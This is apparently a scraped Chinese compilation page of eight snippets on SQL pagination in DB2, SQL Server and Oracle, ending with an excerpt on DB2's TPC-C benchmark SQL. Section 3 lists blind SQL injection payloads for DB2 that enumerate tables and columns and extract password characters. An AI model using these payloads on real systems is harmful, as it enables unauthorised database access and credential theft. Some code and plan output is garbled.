首页 > 范文大全

db2分页sql语法

时间：2023年05月12日

来源：能動的３分間

编辑：本站小编

收藏本文

下载本文

以下是小编帮大家整理的db2分页sql语法，本文共8篇，欢迎大家分享。本文原稿由网友“能動的３分間”提供。

篇1：db2分页sql语法

int startPage=1 //起始页

int endPage; //终止页

int pageSize=5; //页大小

int pageNumber=1 //请求页

startPage=(pageNumber-1)*pageSize+1

endPage=(startPage+pageSize);

select * from (select 字段1,字段2,字段3,字段4,字段5,rownumber

over(order by 排序字段 asc ) as rowid from 表名 )as a where a.rowid

>= startPage AND a.rowid< div=“”>

//以下sql表示取5条数据从1取到5

select * from (select dslsid,zzjgdm,frmc,frlx,mc,frzs,fddbrxm,clrq,frzch,nsrglm,

swdjrq,bgbs,bgcz,bgrq,swdjjgdm,orgdeptname,nsrsbh ,rownumber()

over(order by dslsid asc ) as rowid from FR_V_DSLS )as a

where a.rowid BETWEEN 1 AND 6

不好意思，犯了个低级错误，上面的sql语句是有误的，原因在于对

between and的错误理解

本人记得between and是包含前者，不包含后者，实验表明，

between and 前后两者都包含，

db2分页sql语法

，

所以上述语句应修改为：

select * from (select dslsid,zzjgdm,frmc,frlx,mc,frzs,

fddbrxm,clrq,frzch,nsrglm,swdjrq,

bgbs,bgcz,bgrq,swdjjgdm,orgdeptname,nsrsbh ,rownumber()

over(order by dslsid asc ) as rowid from FR_V_DSLS )as

a where a.rowid >= 1 AND a.rowid < 6

留着上面的语句加深印象。

篇2：DB2排序分页小结

最开始是这样写的：

SELECT *

FROM (SELECT row_number () OVER () AS rown, CC_BRAND.*

FROM CC_BRAND

ORDER BY CC_BRAND.BRAND_CODE) AS A

WHERE a.ROWN >= 1 AND a.ROWN <= 10;

我的思路是这样的：

我把第一种分页SQL中红色标注部分的运行结果当做一个结果视图，然后再对它里面的ROWN字段进行有选择查询

我感觉这是没有任务问题的，但结果却是错误的。不解呀

运行红色标注部分，运行完全正确，但全部运行就不对了，排序错乱了，和红色标注部分的排序结果完全不一样，很让我不解，

最后在网上查找了“排序分布”的例子，修改一下就好了 --

如下：

SELECT *

FROM (SELECT row_number () OVER (ORDER BY CC_BRAND.BRAND_CODE) AS rown,

CC_BRAND.*

FROM CC_BRAND) AS A

WHERE a.ROWN >= 1 AND a.ROWN <= 10;

蓝色标注部分就是不一样的地方，要把排序放在over后面的括号里面，

这样才能正确排序分页，

作者 jvortex

篇3：DB2数据库SQL注入语句

以下均是是整形的注入，采用半折法猜解

猜用户表数量：

and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)

猜表长度：

and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表第一个字符ASCII码：

and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表内列名数量：

and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)

猜第一个列名的长度

and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

猜第一个列名第一个字符的ASCII码

and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

依ID排降序，猜第一个PASSWD的长度

and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

依ID排降序，猜第一个PASSWD第一个字符的ASCII码

and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

猜第二个PASSWD第一个字符的ASCII码

and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE where PASSWD not in(’grou1‘) fetch first 1 rows only)

篇4：Sql分页查询效率分析

选取了2中效率比较高的方式比较效率：row_Number 、offset fetch

表test中有1000条数据，2个字段：field1(int)，field2(nvarchar)

--1000条数据，查询500次第1-10行，39s

--1000条数据，查询500次第500-550行，87s

--1000条数据，查询500次第150-160行，88s

DECLARE @uId int

SET @uId=1 BEGIN while @uId<=500 BEGIN

SELECT *

FROM (

SELECT row_number() over(

ORDER BY [dbo].[test].[filed1] desc) as rownum,* from [dbo].[test]) temp

WHERE temp.rownum BETWEEN 150 AND 160;

SET @uId=@uId+1 END END;

--1000条数据，查询500次第1-10行，78s

--1000条数据，查询500次第500-550行，78s

DECLARE @uId int

SET @uId=1 BEGIN while @uId<=500 BEGIN

SELECT *

FROM [dbo].[test]

ORDER BY [dbo].[test].[filed1] DESC

OFFSET (10 * (15 - 1)) ROWS FETCH NEXT 10 ROWS ONLY

SET @uId=@uId+1 END END

测试效果：

row_Number()不稳定，考前的记录查询比较快，靠后的记录查询时间会增加

OFFSET FETCH 稳定，考前靠后的查询时间都是基本一样

篇5：sql分页实现方法的性能比较

我们先给出几种主要的分页方法和核心语句,然后直接给出结论,有兴趣的读者可以看看后面的数据

几种常用存储过程分页方法

TopN方法

select Top(@PageSize) from TableName where ID Not IN

(Select Top ((@PageIndex-1)*@PageSize) ID from Table Name where .... order by ... )

where .... order by ...

临时表

declare @indextable table(id int identity(1,1),nid int,PostUserName nvarchar(50))

declare @PageLowerBound int

declare @PageUpperBound int

set @PageLowerBound=(@pageindex-1)*@pagesize--下限

set @PageUpperBound=@PageLowerBound+@pagesize--上限

set rowcount @PageUpperBound

insert into @indextable(nid,PostUserName) select ReplyID,PostUserName from TableName order by ......

select * from TableName p,@indextable t where p.ID=t.nid

and t.id>@PageLowerBound and t.id<=@PageUpperBound order by t.id

CTE--新语法,类似临时表,但是生命周期稍微不同,这里只是他的一个运用

withcte_temp--定义零时表,PageIndex是一个计算字段,储存了搜索结果的页号

As (ceiling((Row_Number() over(order by.... )-1)/@pagesize as int) as PageIndex,* from TableName where.....)

select * fromcte_temp where pageindex=@pageindex-1;

结论:

TopN在小页数下最快,如果在10页以下,可以考虑用它,CTE和临时表时间很稳定,CTE消耗的时间比临时表多,但是不会引起tempdb的暴涨和IO增加

性能比较

试验环境:winserver,Sqlserver2005,库大小2,567,245行,没有where子句,试验时每页大小50,页码作为变量

取0,3,10,31,100,316,1000,3162...页,也就是10的指数,试验结果如下

页数TopNCTE临时表临时表老论坛存储过程CTE改进 1312101014577302 31577955244647191 1012755048838014646116 32588967212236019767602 1004680973816642354867151 31645271976432338675227255 1000无法计算980686925786358948 3162无法计算982224854110124608210 10000无法计算9754781211926142507359 31623无法计算97751872933218152497511 100000无法计算无法计算3153855569171396124

数据解释和分析

临时表分为有没有缓存两种时间,CTE就是上面的方法,CTE改进只是把选入CTE临时表的列数减少了,只选取了页号和主键,Null表示时间无法计算(时间太长),数据单位是毫秒.

从上面的数据可以看到,TopN在前32页都是有优势的,但是页数增大后,性能降低很快,CTE改进比CTE有所进步,平均进步两秒左右,但是还是比临时表慢,但是考虑临时表会增大日志文件的大小,引起大量IO,CTE也就有他自己的优势,公司现在正在使用的存储过程效率不错,但是在页码靠后的情况下性能会降低

篇6：Oracle SQl语句使用rownum分页

ROWNUM：

说明：rownum是一个伪字段，标示查询字段的序号;

使用：select rownum 序号 from table

注意：

一、rownum 使用 '>' 号的问题

select * from emp where rownum>3、

查询不到结果

原因：rownum是在使用select查询的时候，自动生成的一串顺序号，

在每返回一条数据结果的时候，rownum就自动加一

当select 一条数据 rownum 为 1 不>3 记录被筛去

而下一条数据 rownum 又是 1.。。。。。。。

解决：加一层嵌套

二、rownum 与 order by 同时使用会出现问题

rownum 是不支持order by 排序的。因为rownum是在排序之前取值的。

“在oracle中如果rownum与order by同在，是先rownum，然后再order by ”

oracle手册上说的：“即使select语句中一条简单的order by都可能会搞乱ROWNUM(因为ROWNUM是排序前分配给各行的)

如图所示：（RN 列顺序错误）

解决方式：

1、直接嵌套：(增加了两次查询，被嵌套的查询结果相当于视图，view中已经有rownum字段所以可以使用 >号)

select t2.* from(--解决>号问题

select t1.*,ROWNUM rn from (--解决order by 的影响

select

k.bmxh,

k.byxxdm,

z.zgdm,

z.dqdm,

zd.zgmc,

zd.fz

from zgjf z

left join ks k on z.bmxh = k.bmxh

left join zgdm zd on z.zgdm = zd.zgdm

order by bmxh asc, z.zgdm asc

)t1

)t2where rn >2 and rn <10

2、使用：row_number over(order by COLUMN_NAME) 改变顺序，先执行了括号中的order by

select z.* ,row_number() over ( order by z.bmxh ) rn from zgjf z where rownum <10 and rownum >5

篇7：Sql Server和Oracle的sql语句分页

在sql以上的版本中可以用如下代码：

[sql]

--@PageNo 是页码（要查询第几页），@pageSize是页容量（即每页显示多少条数据）

[sql]

select * from (

select row_number() over(order by id) rn,* from Test)

tb where rn >(@PageNo-1)*@pageSize and rn <=@PageNo*@pageSize

以上只是简单的分页，如果还有其他逻辑，比如排序可以在over中加入排序的方法 test表也可以换成子查询等其他逻辑

在oracle中，可以使用如下语句

[sql]

select t2.*

from (select rownum r,t1.* from test t1 where rownum<=:PageNo*:pageSize) t2

where t2.r>(:PageNo-1)*:pageSize

参数由@变成了‘:’意义都是相同的！只需在查询时传入需要的参数即可.

篇8：通过DB2 TPCC基准实现探索SQL

PAYMENT事务

PAYMENT事务有两种版本，对于那些提供了客户id 的客户，使用第一种版本。对于不记得客户ID，而只提供了姓氏的客户，使用第二种版本。这里只讨论第二种版本，因为其中提出了第一种版本中所没有的挑战。

在支付事务（按姓氏）中，必须发生以下步骤：

检索地区的名称和地址。

根据姓氏发现客户的客户 id。如果在该地区有多个同姓的客户，则正确的客户应该是根据客户的名字得来的“中间”客户。

检索客户的个人信息。

增加该地区至今为止的收入。

增加仓库至今为止的收入。

增加客户的支付额，如果客户信用不佳，则还应包括额外的数据。

将这次的支付记录到历史中。

与前面的事务一样，这里的大部分逻辑被封装到一个名为 PAY_C_LAST() 的表函数中。

清单 13. 表函数 PAY_C_LAST

1

CREATE FUNCTION PAY_C_LAST( W_ID INTEGER

2 , D_ID SMALLINT

3 , C_W_ID INTEGER

4 , C_D_ID SMALLINT

5 , C_LAST VARCHAR(16)

6 , H_DATE BIGINT

7 , H_AMOUNT BIGINT

8 , BAD_CREDIT_PREFIX VARCHAR(34)

9 )

10

RETURNS TABLE( W_STREET_1 CHAR(20)

11 , W_STREET_2 CHAR(20)

12 , W_CITY CHAR(20)

13 , W_STATE CHAR(2)

14 , W_ZIP CHAR(9)

15 , D_STREET_1 CHAR(20)

16 , D_STREET_2 CHAR(20)

17 , D_CITY CHAR(20)

11 , D_STATE CHAR(2)

19 , D_ZIP CHAR(9)

20 , C_ID INTEGER

21 , C_FIRST VARCHAR(16)

22 , C_MIDDLE CHAR(2)

23 , C_STREET_1 VARCHAR(20)

24 , C_STREET_2 VARCHAR(20)

25 , C_CITY VARCHAR(20)

26 , C_STATE CHAR(2)

27 , C_ZIP CHAR(9)

28 , C_PHONE CHAR(16)

29 , C_SINCE BIGINT

30 , C_CREDIT CHAR(2)

31 , C_CREDIT_LIM BIGINT

32 , C_DISCOUNT INTEGER

33 , C_BALANCE BIGINT

34 , C_DATA CHAR(200)

35 )

36

SPECIFIC PAY_C_Id

INHERIT ISOLATION LEVEL WITH LOCK REQUEST

37

MODIFIES SQL DATA DETERMINISTIC NO EXTERNAL ACTION LANGUAGE SQL

38 VAR:

BEGIN ATOMIC

39

DECLARE W_NAME CHAR(10) ;

40

DECLARE D_NAME CHAR(10) ;

41

DECLARE W_STREET_1 CHAR(20) ;

42

DECLARE W_STREET_2 CHAR(20) ;

43

DECLARE W_CITY CHAR(20) ;

44

DECLARE W_STATE CHAR(2) ;

45

DECLARE W_ZIP CHAR(9) ;

46

DECLARE D_STREET_1 CHAR(20) ;

47

DECLARE D_STREET_2 CHAR(20) ;

48

DECLARE D_CITY CHAR(20) ;

49

DECLARE D_STATE CHAR(2) ;

50

DECLARE D_ZIP CHAR(9) ;

51

DECLARE C_ID INTEGER ;

52

DECLARE C_FIRST VARCHAR(16) ;

53

DECLARE C_MIDDLE CHAR(2) ;

54

DECLARE C_STREET_1 VARCHAR(20) ;

55

DECLARE C_STREET_2 VARCHAR(20) ;

56

DECLARE C_CITY VARCHAR(20) ;

57

DECLARE C_STATE CHAR(2) ;

58

DECLARE C_ZIP CHAR(9) ;

59

DECLARE C_PHONE CHAR(16) ;

60

DECLARE C_SINCE BIGINT ;

61

DECLARE C_CREDIT CHAR(2) ;

62

DECLARE C_CREDIT_LIM BIGINT ;

63

DECLARE C_DISCOUNT INTEGER ;

64

DECLARE C_BALANCE BIGINT ;

65

DECLARE C_DATA CHAR(200) ;

66

67 /* Update District and retrieve its data */

68

SET ( D_NAME, D_STREET_1, D_STREET_2, D_CITY, D_STATE, D_ZIP )

69 = (

SELECT D_NAME, D_STREET_1, D_STREET_2, D_CITY, D_STATE, D_ZIP

70

FROM OLD TABLE (

UPDATE DISTRICT

71

SET D_YTD = D_YTD + PAY_C_ID.H_AMOUNT

72

WHERE D_W_ID = PAY_C_ID.W_Id

73

AND D_ID = PAY_C_ID.D_Id

74 )

AS U

75 )

76 ;

77 /* Determine the C_ID */

78

SET ( C_ID )

79 = (

SELECT C_Id

80

FROM (

SELECT C_Id

81 , COUNT(*) OVER()

AS COUNT

82 , ROWNUMBER() OVER (

ORDER BY C_FIRST)

AS NUM

83

FROM CUSTOMER

84

WHERE C_LAST = PAY_C_LAST.C_LAST

85

AND C_W_ID = PAY_C_LAST.C_W_Id

86

AND C_D_ID = PAY_C_LAST.C_D_Id

87 )

AS T

88

WHERE NUM = (COUNT + 1) / 2

89 )

90 ;

91 /* Update the customer */

92

SET ( C_FIRST, C_MIDDLE, C_STREET_1, C_STREET_2

93 , C_CITY, C_STATE, C_ZIP, C_PHONE, C_SINCE, C_CREDIT, C_CREDIT_LIM

94 , C_DISCOUNT, C_BALANCE, C_DATA )

95 = (

SELECT C_FIRST, C_MIDDLE, C_STREET_1, C_STREET_2

96 , C_CITY, C_STATE, C_ZIP, C_PHONE, C_SINCE, C_CREDIT

97 , C_CREDIT_LIM , C_DISCOUNT, C_BALANCE

98 ,

CASE WHEN C_CREDIT = 'BC'

99

THEN SUBSTR(C_DATA, 1, 200)

END AS C_DATA

100

FROM NEW TABLE (

UPDATE CUSTOMER

101

SET C_BALANCE = C_BALANCE - PAY_C_ID.H_AMOUNT

102, C_YTD_PAYMENT = C_YTD_PAYMENT + PAY_C_ID.H_AMOUNT

103, C_PAYMENT_CNT = C_PAYMENT_CNT + 1

104, C_DATA =

CASE WHEN C_CREDIT = 'BC'

105

THEN BAD_CREDIT_PREFIX

106 || SUBSTR( C_DATA, 1, 466 )

107

ELSE C_DATA

108

ENd

109

WHERE C_W_ID = PAY_C_ID.C_W_Id

110

AND C_D_ID = PAY_C_ID.C_D_Id

111

AND C_ID = PAY_C_ID.C_Id

112 )

AS U

113 )

114 ;

115 /* Update the warehouse */

116

SET ( W_NAME, W_STREET_1, W_STREET_2, W_CITY, W_STATE, W_ZIP )

117 = (

SELECT W_NAME, W_STREET_1, W_STREET_2, W_CITY, W_STATE, W_ZIP

118

FROM OLD TABLE (

UPDATE WAREHOUSE

119

SET W_YTD = W_YTD + PAY_C_ID.H_AMOUNT

120

WHERE W_ID = PAY_C_ID.W_Id

121 )

AS U

122 )

123 ;

124 /* Finally insert into the history */

125

INSERT

126

INTO HISTORY ( H_C_ID, H_C_D_ID, H_C_W_ID, H_D_Id

127 , H_W_ID, H_DATA, H_DATE, H_AMOUNT )

128

VALUES ( PAY_C_ID.C_Id

129 , PAY_C_ID.C_D_Id

130 , PAY_C_ID.C_W_Id

131 , PAY_C_ID.D_Id

132 , PAY_C_ID.W_Id

133 , VAR.W_NAME || CHAR( ' ', 4 ) || VAR.D_NAME

134 , PAY_C_ID.H_DATE

135 , PAY_C_ID.H_AMOUNT

136)

137 ;

138 /* Done - return the collected data */

139

RETURN VALUES ( W_STREET_1, W_STREET_2, W_CITY, W_STATE, W_ZIP

140 , D_STREET_1, D_STREET_2, D_CITY, D_STATE, D_ZIP

141 , C_ID , C_FIRST, C_MIDDLE, C_STREET_1, C_STREET_2

142 , C_CITY, C_STATE, C_ZIP, C_PHONE, C_SINCE, C_CREDIT

143 , C_CREDIT_LIM , C_DISCOUNT, C_BALANCE, C_DATA

144 )

145 ;

146

END

清单 14. 用于支付事务的 SQL 语句

1

SELECT W_STREET_1, W_STREET_2, W_CITY, W_STATE, W_ZIP

2 , D_STREET_1, D_STREET_2, D_CITY, D_STATE, D_ZIP

3 , C_ID, C_FIRST, C_MIDDLE, C_STREET_1, C_STREET_2

4 , C_CITY, C_STATE, C_ZIP, C_PHONE, C_SINCE, C_CREDIT, C_CREDIT_LIM

5 , C_DISCOUNT, C_BALANCE, C_DATA

6

INTO :w_street_1 , :w_street_2 , :w_city , :w_state , :w_zip

7 , :d_street_1 , :d_street_2 , :d_city , :d_state , :d_zip

8 , :c_id , :c_first , :c_middle , :c_street_1 , :c_street_2 , :c_city , :c_state

9 , :c_zip , :c_phone , :c_since , :c_credit , :c_credit_liM

10 , :c_discount , :c_balance, :c_data :c_data_indicator

11

FROM TABLE ( PAY_C_LAST( :w_id

12 , :d_id

13 , :c_w_id

14 , :c_d_id

15 , :c_last_inpuT

16 , :h_date

17 , :h_amounT

18 , :c_data_prefix_c_lasT

19 )

20 )

AS PAY_C_LAST

21

WITH RR USE AND KEEP UPDATE LOCKS

在通常的优化的基础上，还应注意两种新的技术：

为了确定正确的客户，需要读 CUSTOMER 表。只有在此基础上，才可以执行对 CUSTOMER 表的更新。默认情况下，这意味着所有姓氏有问题的客户行将获得一个共享锁（share lock）。为执行更新，需要将共享锁转换为一个更新锁（update lock）。这里有一个小小的风险，同一个客户可能想要在同一时间为另一个订单进行支付。如果是在取数据（fetch）和更新（update）之间发生这样的情况，那么就会出现死锁（dead lock），因为如果另一个事务持有共享锁的话，这两个事务就都不能获得更新锁。为了避免这样情况发生，DB2 V8.2 支持所谓的 lock-request-clause。在这个例子中， WITH RR USE AND KEEP UPDATE LOCKS 将导致 DB2 在整个语句中收集最少的更新锁，而不是共享锁。为了语义上的纯净和未来的可扩展性，这个 SQL 函数使用一个匹配子句 INHERIT ISOLATION LEVEL WITH LOCK REQUEST。

为了发现中间的客户，这里选择了使用 ROW_NUMBER()。这个 OLAP 函数将所有同姓的客户按照他们的名字来编号。而且，这里决定不使用一个单独的查询来获得总的 COUNT。相反，这里再次使用 OLAP。这需要在用于缓冲所有匹配客户的内存消耗 —— 因为总 COUNT 必须跟在每个客户的后面，但是这个总 COUNT 只有到最后才知道 —— 和从客户表进行两次索引扫描之间作出取舍。对于行数较少并且每行的宽度不大的情况，实际上使用 COUNT(*) OVER() 的 (C_ID, COUNT, NUM) 要好一些。

清单 15 展示了支付事务的计划。

清单 15. 支付事务的访问计划

ORDER STATUS 查询

ORDER STATUS 查询的目的是允许客户检索有关他们订单的信息。与支付事务中一样，有的客户记得他们的客户 id，也有一些客户不记得他们的客户 id。下面是假定客户只提供姓氏的情况下的更为复杂的版本：

需要使用 PAYMENT 事务中相同的算法确定客户 ID，

检索客户的全名和帐户余额。

通过选择该客户的最高订单 id，确定最近的订单。

如果订单已发货，则确定送货人的 ID，以及提交订单时的日期。

检索每个订购项的发货日期、数量、总价和发货仓库。

清单 16. 订单状态函数

1

CREATE FUNCTION ORD_C_LAST( W_ID INTEGER

2 , D_ID SMALLINT

3 , C_LAST VARCHAR(16)

4 )

5

RETURNS TABLE( O_ID INTEGER

6 , O_CARRIER_ID SMALLINT

7 , O_ENTRY_D BIGINT

8 , C_BALANCE BIGINT

9 , C_FIRST VARCHAR(16)

10 , C_MIDDLE CHAR(2)

11 , C_ID INTEGER

12 )

13

SPECIFIC ORD_C_LAST

14

READS SQL DATA NO EXTERNAL ACTION DETERMINISTIC LANGUAGE SQL

15 VAR:

BEGIN ATOMIC

16

DECLARE C_BALANCE BIGINT ;

17

DECLARE C_FIRST VARCHAR(16) ;

18

DECLARE C_MIDDLE CHAR(2) ;

19

DECLARE C_ID INTEGER ;

20

DECLARE O_ID INTEGER;

21

DECLARE O_CARRIER_ID SMALLINT;

22

DECLARE O_ENTRY_D BIGINT;

23

24 /* Retrieve the Customer information */

25

SET ( C_BALANCE, C_FIRST, C_MIDDLE, C_ID )

26 = (

SELECT C_BALANCE, C_FIRST, C_MIDDLE , C_Id

27

FROM (

SELECT C_Id

28 , C_BALANCE

29 , C_FIRST

30 , C_MIDDLE

31 , COUNT(*) OVER() AS COUNT

32 , ROWNUMBER() OVER (ORDER BY C_FIRST)

AS NUM

33

FROM CUSTOMER

34

WHERE C_W_ID = ORD_C_LAST.W_Id

35

AND C_D_ID = ORD_C_LAST.D_Id

36

AND C_LAST = ORD_C_LAST.C_LAST

37 )

AS V1

38

WHERE NUM = (COUNT + 1) / 2

39 )

40 ;

41 /* Take advantage of the index to fetch the first row (and hence max(o_id) ) */

42

SET ( O_ID , O_CARRIER_ID , O_ENTRY_D )

43 = (

SELECT O_Id

44 , O_CARRIER_Id

45 , O_ENTRY_d

46

FROM ORDERS

47

WHERE O_W_ID = ORD_C_LAST.W_Id

48

AND O_D_ID = ORD_C_LAST.D_Id

49

AND O_C_ID = VAR.C_Id

50

ORDER BY O_Id

DESC

51

FETCH FIRST 1

ROW ONLY

52 )

53 ;

54

RETURN VALUES ( VAR.O_Id

55 , VAR.O_CARRIER_Id

56 , VAR.O_ENTRY_d

57 , VAR.C_BALANCE

58 , VAR.C_FIRST

59 , VAR.C_MIDDLE

60 , VAR.C_Id

61 )

62 ;

63

END

清单 17. 调用函数

1

SELECT O_ID, O_CARRIER_ID, O_ENTRY_D, C_BALANCE, C_FIRST, C_MIDDLE, C_Id

2

INTO :o_id, :o_carrier_id , :o_entry_d , :c_balance, :c_first, :c_middle, :c_id

3

FROM TABLE ( ORD_C_LAST( :w_id

4 , :d_id

5 , :c_last_inpuT

6 )

7 )

AS ORD_C_LAST

清单 18. 用于订单状态查询的 SQL 语句

1

SELECT OL_I_ID, OL_SUPPLY_W_ID, OL_QUANTITY, OL_AMOUNT, OL_DELIVERY_d

2

FROM ORDER_LINE

3

WHERE OL_W_ID = :w_id

4

AND OL_D_ID = :d_id

5

AND OL_O_ID = :o_id

6

FOR FETCH ONLY ;

这里同样应用了很多常用的提高性能的技巧。例如，所有未涉及订购项的步骤都被封装到一个 SQL 表函数中。而且，这里使用 OLAP 来检索“中间客户”。然而，最后从这个查询中还可以收集到一些有趣的事情：

天真的人可能会首先确定客户的最大订单 id，然后使用这个 ID 来检索送货人和订单日期。如果订单 id 按照降序排序，则一个客户的最大订单 id 也就是基于客户 id 和订单 id 的索引中的第一个订单 ID。然而，利用这一事实将那两个查询组合到一起则显得更为紧凑。给定一个匹配的索引，通过一个单独的取索引操作就可以得到要检索的行。在发货事务中也使用了相同的技巧，但此处则没有 DELETE 和 MAXIMUM。

注意，订购项是通过一个单独的游标来检索的。执行两条语句与返回这两个查询的笛卡儿积相比效率要高一些，后者将重复发送每个订购项的客户信息和订单信息。

清单 19 列出的计划展示了使用前面讨论的 ORDER BY 的 (FETCH(8)) 和 FETCH FIRST 1 ROW ONLY 的效率。

清单 19. 订单状态查询计划

Rows RETURN ( 1) Cost I/O | 1 NLJOIN ( 2) 12.928 2.008 /----------+---------\\ 1 1NLJOIN TBSCAN( 3) ( 10)12.9279 4.48727e-005 2.008 0 /---------+--------\\ | 1 1 1TBSCANUNION TABFNC: SYSIBM( 4)( 5) GENROW 4.48727e-005 0.108135 0 0.013056 | /-------+------\\ 1 1 1 TABFNC: SYSIBM FILTER FETCHGENROW ( 6) ( 8) 0.0176324 0.0905021 0 0.005056 | /----+---\\ 0.2 0.005056 79 IXSCAN IXSCAN TABLE: SRIELAU ( 7) ( 9) ORDERS 0.0158334 0.0251716 00 || 5 79 INDEX: SRIELAU INDEX: SRIELAU CUST_IDXBORDR_IDXB

STOCK LEVEL查询

最后一点，也是重要的一点， STOCK LEVEL 查询演习了一个三方（three-way）连接，以确定对于一个给定的、库存水平低于一个指定阈值的地区，在过去 20 份订单中产品的数量。关于这个查询没有很多要讲的，只有一点：该查询是惟一可以以 cursor stability 隔离级别运行的查询。DB2 能够逐个地为查询指定隔离级别，这里就使用了这一功能。

清单 20. 库存水平查询

1

SELECT COUNT( S_I_ID )

INTO :low_stock

2

FROM (

SELECT DISTINCT S_I_Id

3

FROM ORDER_LINE , STOCK , DISTRICT

4

WHERE D_W_ID = :w_id

5

AND D_ID = :d_id

6

AND OL_O_ID < d_next_o_id

7

AND OL_O_ID >= ( d_next_o_id - 20 )

8

AND OL_W_ID = D_W_Id

9

AND OL_D_ID = D_Id

10

AND S_I_ID = OL_I_Id

11

AND S_W_ID = OL_W_Id

12

AND S_QUANTITY < :threshold

13 )

AS OLS

14

WITH CS

清单 21. 库存水平查询访问计划

Rows RETURN ( 1) Cost I/O | 1 GRPBY ( 2) 13.204 1.02222 | 3.75467e-005 TBSCAN ( 3) 13.2039 1.02222 | 3.75467e-005 SORT ( 4) 13.2033 1.02222 | 3.75467e-005 NLJOIN ( 5) 13.2023 1.02222 /--------------------+--------------------\\ 0.00782222 0.0048NLJOIN FETCH( 6)( 11)13.0011 0.2011691.00782 0.0144 /-----------+-----------\\/----+---\\ 1 0.007822220.0144 9 FETCHFETCH IXSCAN TABLE: SRIELAU ( 7) ( 9) ( 12) STOCK 12.872 0.129119 0.0157274 1 0.007822220/----+---\\ /----+---\\ |126 0.00782222 44 9IXSCAN TABLE: SRIELAU IXSCAN TABLE: SRIELAU INDEX: SYSIBM( 8) DISTRICT ( 10) ORDER_LINE SQL04102310294210.0175755 0.02823120 0| |26 44INDEX: SYSIBM INDEX: SYSIBMSQL0410231029415 SQL0410231030088

结束语

在本文中，Rielau 简要地介绍了 TPC-C 基准的模式及其事务。为了在 DB2 已达到的极限级别上执行这个基准，需要更多的东西，但对 SQL 的简洁的使用处于首要地位。高效的 SQL 产生高效的查询计划，高效的查询计划又意味着只需要执行必不可少的代码路径。只读取必不可少的行。Rielau 认为 DB2 在 TPC-C 基准中使用的 SQL 已经非常接近最优。要进一步精化的东西非常少。

总而言之，以下是 TPC-C 这个实现暴露出的有趣的 SQL 特性：

SQL 表函数的使用使您可以将过程性逻辑放入到查询的 FROM 子句中。通过关联（correlation），SQL 表函数允许以一种更高效的方式实现迭代，而不是使用游标。

SQL 表函数中的 MODIFIES SQL DATA 使您甚至可以将 INSERT、UPDATE、DELETE 和 MERGE （数据更改操作）放入到关联连接的内表中。

在 FROM 子句中对数据更新操作的使用允许对生成的列（例如 ID）的检索，以及对要被删除或更新的数据的检索。

通过使用作为数据更改操作的目标的查询，可以删除或更新由复杂的 SQL（包括 ORDER BY）确定的行。对这一特性的一个常见应用就是 POP 队列语义的实现。

ORDER BY 结合 FETCH FIRST 可以有效地用于选择最大或最小行，包括对不是聚合函数本身一部分的列的检索。

当按条件选择行，而不是简单地选择最大或最小行时，可以考虑 OLAP 函数。

公共表表达式（WITH 子句）允许数据更新操作的高效管道。

虽然 TPC-C 基准非常简单，但是它在 OLTP 处理的很多方面仍然非常有效。

注意，虽然 DB2 不是第一种引入从 INSERT、UPDATE 和 DELETE 返回数据的手段的产品，但它是第一种将此概念集成到 SQL 本身当中的产品，它为结果的即时关系处理提供了支持，而无需使用临时表和过程语言结构。

SQL 存储过程基础语法之一

语法知识